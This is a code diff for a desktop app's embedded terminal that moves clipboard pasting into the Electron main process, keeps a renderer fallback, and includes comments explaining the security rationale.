b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx @@ -29,6 +29,7 @@ import { getTerminalScrollback, onTerminalData, openTerminal, + pasteIntoTerminal, reportTerminalFocused, resizeTerminal, startTerminalSession, @@ -508,20 +509,27 @@ const TerminalView = memo(function TerminalView({ }, []) const pasteClipboard = useCallback(() => { - void navigator.clipboard - .readText() - .then((text) => { + void (async () => { + // Main-side first: it reads the clipboard synchronously, so the paste + // cannot be refused for want of a recent gesture the way an awaited + // renderer read can. + if (await pasteIntoTerminal(terminalId)) { + terminalRef.current?.focus() + return + } + try { + const text = await navigator.clipboard.readText() if (!text) return // Straight to the PTY: the shell echoes it, exactly like a real paste. writeToTerminal(terminalId, text) terminalRef.current?.focus() - }) - .catch(() => { + } catch { // Reading the clipboard needs a permission the shell grants to its own // origin; an older shell that predates that grant denies it. Keyboard // paste is a native paste event and keeps working either way. toast.error('Could not read the clipboard. Press ⌘V to paste.') - }) + } + })() }, [terminalId]) const clearScreen = useCallback(() => { diff --git a/apps/sim/lib/terminal/transport.ts b/apps/sim/lib/terminal/transport.ts index 2328c53f8a3..358a79b0b4d 100644 --- a/apps/sim/lib/terminal/transport.ts +++ b/apps/sim/lib/terminal/transport.ts @@ -125,6 +125,23 @@ export function writeToTerminal(terminalId: string, data: string): void { bridge()?.write(terminalId, data) } +/** + * Pastes the system clipboard into a terminal, reading it in the main process + * when the shell can. + * + * Returns false when this shell predates `paste`, so the caller can fall back to + * reading the clipboard itself. Main-side is preferred for two reasons: the read + * is synchronous there, so there is no window in which the paste can be refused + * for want of a recent gesture, and the renderer never touches the clipboard — + * which is the direction Electron itself took when it removed the `clipboard` + * module from renderers. + */ +export async function pasteIntoTerminal(terminalId: string): Promise { + const paste = bridge()?.paste + if (!paste) return false + return paste(terminalId) +} + export function resizeTerminal(terminalId: string, cols: number, rows: number): void { bridge()?.resize(terminalId, cols, rows) } diff --git a/packages/desktop-bridge/src/index.ts b/packages/desktop-bridge/src/index.ts index dd2e3cecaa6..779bae991dc 100644 --- a/packages/desktop-bridge/src/index.ts +++ b/packages/desktop-bridge/src/index.ts @@ -52,6 +52,19 @@ export interface SimDesktopTerminalApi { ): Promise /** Forward the user's keystrokes to one terminal's PTY. */ write(terminalId: string, data: string): void + /** + * Paste the system clipboard into one terminal's PTY. + * + * The text is read in the main process rather than handed over by the caller: + * Electron removed the `clipboard` module from renderers precisely so page + * content cannot reach the clipboard, and it means a compromised renderer can + * only replay what the user already copied instead of choosing the bytes. + * Resolves false when the clipboard held nothing to paste. + * + * Optional: shells that predate it fall back to reading the clipboard in the + * renderer. + */ + paste?(terminalId: string): Promise resize(terminalId: string, cols: number, rows: number): void /** Open an additional terminal and make it active. */ openTerminal(cwd?: string): Promise